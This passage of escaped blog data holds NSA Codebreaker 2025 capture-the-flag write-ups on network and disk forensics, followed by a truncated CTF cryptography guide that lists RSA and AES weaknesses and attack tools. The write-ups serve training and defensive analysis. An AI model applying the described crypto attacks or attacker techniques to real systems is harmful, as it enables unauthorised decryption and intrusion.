malicious device, I needed to enumerate all IP addresses assigned to it. I returned to the FTP traffic and extracted \u003ccode\u003erouter3_backup.config\u003c/code\u003e by following the appropriate TCP stream.\u003c/p\u003e\n\u003cp\u003eThe configuration file revealed three interfaces:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003econfig interface \u0026#39;loopback\u0026#39;\n    option device \u0026#39;lo\u0026#39;\n    option proto \u0026#39;static\u0026#39;\n    option ipaddr \u0026#39;127.7.5.3\u0026#39;\n    option netmask \u0026#39;255.0.0.0\u0026#39;\n\nconfig interface \u0026#39;lan\u0026#39;\n    option device \u0026#39;br-lan\u0026#39;\n    option proto \u0026#39;static\u0026#39;\n    option ipaddr \u0026#39;192.168.3.254\u0026#39;\n    option netmask \u0026#39;255.255.255.0\u0026#39;\n\nconfig interface \u0026#39;to_openwrt2\u0026#39;\n    option device \u0026#39;eth1\u0026#39;\n    option proto \u0026#39;static\u0026#39;\n    list ipaddr \u0026#39;192.168.5.1/28\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/router3config.png\" alt=\"Router3 Config\"/\u003e\n\u003c/p\u003e\n\u003ch3 id=\"solution\"\u003eSolution\u003c/h3\u003e\n\u003cp\u003eThe malicious device (Router 3) had three IP addresses assigned:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e192.168.3.254\u003c/strong\u003e - LAN interface (\u003ccode\u003ebr-lan\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e192.168.5.1\u003c/strong\u003e - Connection to OpenWRT2 (\u003ccode\u003eeth1\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e127.7.5.3\u003c/strong\u003e - Loopback interface (\u003ccode\u003elo\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSubmitting all three addresses successfully completed the challenge.\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge2.png\" alt=\"Badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSuccess!\u003c/strong\u003e Two down, five to go.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-1/\"\u003e← Task 1\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003eSeries overview\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025-task-3/\"\u003eTask 3 →\u003c/a\u003e\u003c/p\u003e\n","date":"2025-10-04","dateFormatted":"October 4, 2025","excerpt":"← Series overview Task 2 - The Hunt Continues - (Network Forensics) With your help, the team concludes that there was clearly a sophisticated piece of malware installed on that endpoint that was …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-2/","readingTime":3,"slug":"nsa-codebreaker-2025-task-2","subtitle":"Tracing inconsistent DNS responses back to a router","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-2---the-hunt-continues---network-forensics\"\u003eTask 2 - The Hunt Continues - (Network Forensics)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWith your help, the team concludes that there was clearly a sophisticated piece of malware installed on that endpoint that was generating some network traffic. Fortunately, DAFIN-SOC also has an IDS which retained the recent network traffic in this segment.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDAFIN-SOC has provided a PCAP to analyze. Thoroughly evaluate the PCAP to identify potential malicious activity.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePCAP to analyze:\u003c/strong\u003e \u003ccode\u003etraffic.pcap\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSubmit all the IP addresses that are assigned to the malicious device, one per line.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eUpon opening the PCAP in Wireshark, I was greeted by approximately 2,400 packets consisting primarily of IPv4 and ARP traffic.\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","network forensics"],"title":"NSA Codebreaker 2025 - Task 2: The Hunt Continues","url":"/posts/nsa-codebreaker-2025-task-2/","wordCount":512},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-1---getting-started-forensics\"\u003eTask 1 - Getting Started (Forensics)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYou arrive on site and immediately get to work. The DAFIN-SOC team quickly briefs you on the situation. They have noticed numerous anomalous behaviors, such as: tools randomly failing tests and anti-virus flagging on seemingly clean workstations. They have narrowed in on one machine they would like NSA to thoroughly evaluate.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThey have provided a zipped EXT2 image from this development machine. Help DAFIN-SOC perform a forensic analysis on this - looking for any suspicious artifacts.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ezipped EXT2 image:\u003c/strong\u003e \u003ccode\u003eimage.ext2.zip\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eProvide the SHA-1 hash of the suspicious artifact.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eI started by mounting the EXT2 image in read-only mode so I could safely explore its contents.\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/mount.png\" alt=\"Mount\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe first place I looked was the root user’s \u003ccode\u003e.bash_history\u003c/code\u003e, since that often tells the story of what happened on the system. The history revealed a pattern: lots of local network probing (using \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, \u003ccode\u003enc\u003c/code\u003e, \u003ccode\u003enetstat\u003c/code\u003e, etc.), checks against DNS, and even repeated calls to \u003ccode\u003ehttp://localhost/app/test\u003c/code\u003e. Mixed in were commands to mount \u003ccode\u003e/dev/sdb1\u003c/code\u003e to \u003ccode\u003e/mnt/usb\u003c/code\u003e and edits to the crontab. In other words, whoever was on this box was hammering on a local web service, staging files via USB, and attempting persistence through cron.\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/bash_history.png\" alt=\"BashHistory\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003e/app/test\u003c/code\u003e as a pivot point, I ran a \u003ccode\u003egrep\u003c/code\u003e-ed through the filesystem. This led me to an odd discovery:\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/grep.png\" alt=\"Grep\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e/etc/terminfo/s/nsuvzemaow\u003c/p\u003e\n\u003cp\u003eThis terminfo file references \u003ccode\u003e/app/www\u003c/code\u003e. That\u0026rsquo;s a red flag - terminfo directories are supposed to store compiled terminal capability files, not random application paths. The filename itself looked odd too.\u003c/p\u003e\n\u003cp\u003eTo confirm, I calculated the SHA-1 hash of the file:\u003c/p\u003e\n\u003cp\u003e0068e0c3cba711e775fa374b201d5d04ffcef96c\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge1.png\" alt=\"Badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSuccess!\u003c/strong\u003e My first ever NSA Codebreaker challenge complete.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003eSeries overview\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025-task-2/\"\u003eTask 2 →\u003c/a\u003e\u003c/p\u003e\n","date":"2025-10-03","dateFormatted":"October 3, 2025","excerpt":"← Series overview Task 1 - Getting Started (Forensics) You arrive on site and immediately get to work. The DAFIN-SOC team quickly briefs you on the situation. They have noticed numerous anomalous …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-1/","readingTime":2,"slug":"nsa-codebreaker-2025-task-1","subtitle":"Finding a suspicious artifact in an EXT2 image","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-1---getting-started-forensics\"\u003eTask 1 - Getting Started (Forensics)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYou arrive on site and immediately get to work. The DAFIN-SOC team quickly briefs you on the situation. They have noticed numerous anomalous behaviors, such as: tools randomly failing tests and anti-virus flagging on seemingly clean workstations. They have narrowed in on one machine they would like NSA to thoroughly evaluate.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThey have provided a zipped EXT2 image from this development machine. Help DAFIN-SOC perform a forensic analysis on this - looking for any suspicious artifacts.\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","forensics"],"title":"NSA Codebreaker 2025 - Task 1: Getting Started","url":"/posts/nsa-codebreaker-2025-task-1/","wordCount":278},{"content":"\u003cp\u003eCryptography challenges are one of the most common categories in Capture the Flag (CTF) competitions. This guide provides a focused overview of essential algorithms, how to recognize them, common weaknesses exploited in CTFs, and practical resources for practice.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"common-ctf-crypto-patterns\"\u003eCommon CTF Crypto Patterns\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFlags often follow formats like \u003ccode\u003eCTF{...}\u003c/code\u003e, which can help in known-plaintext scenarios.\u003c/li\u003e\n\u003cli\u003eKey reuse across ciphertexts can allow XOR analysis.\u003c/li\u003e\n\u003cli\u003eSmall RSA exponents (\u003ccode\u003ee = 3\u003c/code\u003e) can lead to direct root extraction if the plaintext is small.\u003c/li\u003e\n\u003cli\u003eSmall primes allow for easy factorization of RSA moduli.\u003c/li\u003e\n\u003cli\u003ePadding issues in AES frequently lead to oracle-style attacks.\u003c/li\u003e\n\u003cli\u003eImages encrypted with ECB will show visible repeated patterns.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"tools\"\u003eTools\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://gchq.github.io/CyberChef/\"\u003eCyberChef\u003c/a\u003e - versatile tool for conversions, encodings, and ciphers.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.cachesleuth.com/multidecoder/\"\u003eCacheSleuth MultiDecoder\u003c/a\u003e - automated format and cipher detection. Easily my favorite tool.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.dcode.fr/en\"\u003edCode\u003c/a\u003e - classical cipher solvers and crypto utilities.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RsaCtfTool/RsaCtfTool\"\u003eRsaCtfTool\u003c/a\u003e - specialized RSA attack tool.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"core-algorithms\"\u003eCore Algorithms\u003c/h2\u003e\n\u003ch3 id=\"rsa\"\u003eRSA\u003c/h3\u003e\n\u003cp\u003eRSA is an asymmetric encryption algorithm based on modular arithmetic with large primes.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eKey structure\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePublic key: \u003ccode\u003e(n, e)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003ePrivate key: \u003ccode\u003ed\u003c/code\u003e, where \u003ccode\u003eed ≡ 1 (mod φ(n))\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eEncryption: \u003ccode\u003ec = m^e mod n\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eDecryption: \u003ccode\u003em = c^d mod n\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eClues in challenges\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLarge integer values, often labeled \u003ccode\u003en\u003c/code\u003e, \u003ccode\u003ee\u003c/code\u003e, \u003ccode\u003ed\u003c/code\u003e, \u003ccode\u003ep\u003c/code\u003e, \u003ccode\u003eq\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eSmall exponents such as \u003ccode\u003ee = 3\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eModulus values that are not very large (easy to factor).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eCommon attacks\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFactoring \u003ccode\u003en\u003c/code\u003e into \u003ccode\u003ep\u003c/code\u003e and \u003ccode\u003eq\u003c/code\u003e when too small.\u003c/li\u003e\n\u003cli\u003eBroadcast attack when the same message is sent to multiple recipients with small \u003ccode\u003ee\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eWiener’s attack if the private key \u003ccode\u003ed\u003c/code\u003e is too small.\u003c/li\u003e\n\u003cli\u003eCommon modulus attacks when the same \u003ccode\u003en\u003c/code\u003e is reused across different keys.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eTooling\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RsaCtfTool/RsaCtfTool\"\u003eRsaCtfTool\u003c/a\u003e automates many known attacks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"aes\"\u003eAES\u003c/h3\u003e\n\u003cp\u003eAES is a symmetric cipher often encountered in ECB or CBC mode.\u003c/p\u003e\n\u003ch4 id=\"aes-ecb-electronic-codebook\"\u003eAES-ECB (Electronic Codebook)\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eEncrypts each block independently.\u003c/li\u003e\n\u003cli\u003eEasy to spot because identical plaintext blocks lead to identical ciphertext blocks.\u003c/li\u003e\n\u003cli\u003eOften leaks patterns in images or structured data.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"aes-cbc-cipher-block-chaining\"\u003eAES-CBC (Cipher Block Chaining)\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eEach block is XORed with the previous ciphertext block before encryption.\u003c/li\u003e\n\u003cli\u003eRequires an initialization vector (IV).\u003c/li\u003e\n\u003cli\u003eCiphertexts are usually a multiple of the block size.\u003c/li\u003e\n\u003cli\u003eChallenges may involve padding oracle attacks or IV reuse.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"example\"\u003eExample\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSBOX \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x63\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x7c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x77\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x7b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf2\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x6b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x6f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x30\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x01\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x67\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x2b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xfe\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xab\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x76\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xca\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x82\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x7d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xfa\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x59\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x47\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xad\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa2\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xaf\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x9c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x72\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc0\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xb7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xfd\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x93\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x26\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x36\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x3f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xcc\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x34\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x71\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd8\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x31\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x04\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x23\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x18\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x96\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x05\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x9a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x07\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x12\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x80\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe2\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xeb\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x27\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb2\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x75\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x09\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x83\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x2c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x6e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x5a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x52\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x3b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x29\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x2f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x84\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x53\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x00\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xed\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x20\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xfc\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x5b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x6a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xcb\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xbe\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x39\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x4a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x4c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xcf\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xd0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xef\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xaa\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xfb\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x43\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x4d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x33\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x85\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x45\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x02\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x7f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x50\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x3c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x9f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa8\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x51\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x40\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x8f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x92\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x9d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x38\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xbc\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xda\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x21\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xff\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd2\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xcd\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x0c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x13\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xec\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x5f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x97\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x44\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x17\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x7e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x3d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x64\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x5d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x19\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x73\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x60\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x81\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x4f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xdc\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x22\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x2a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x90\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x88\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x46\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xee\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb8\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x14\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xde\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x5e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x0b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xdb\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xe0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x32\u003c/span\u003e,\u003cspan 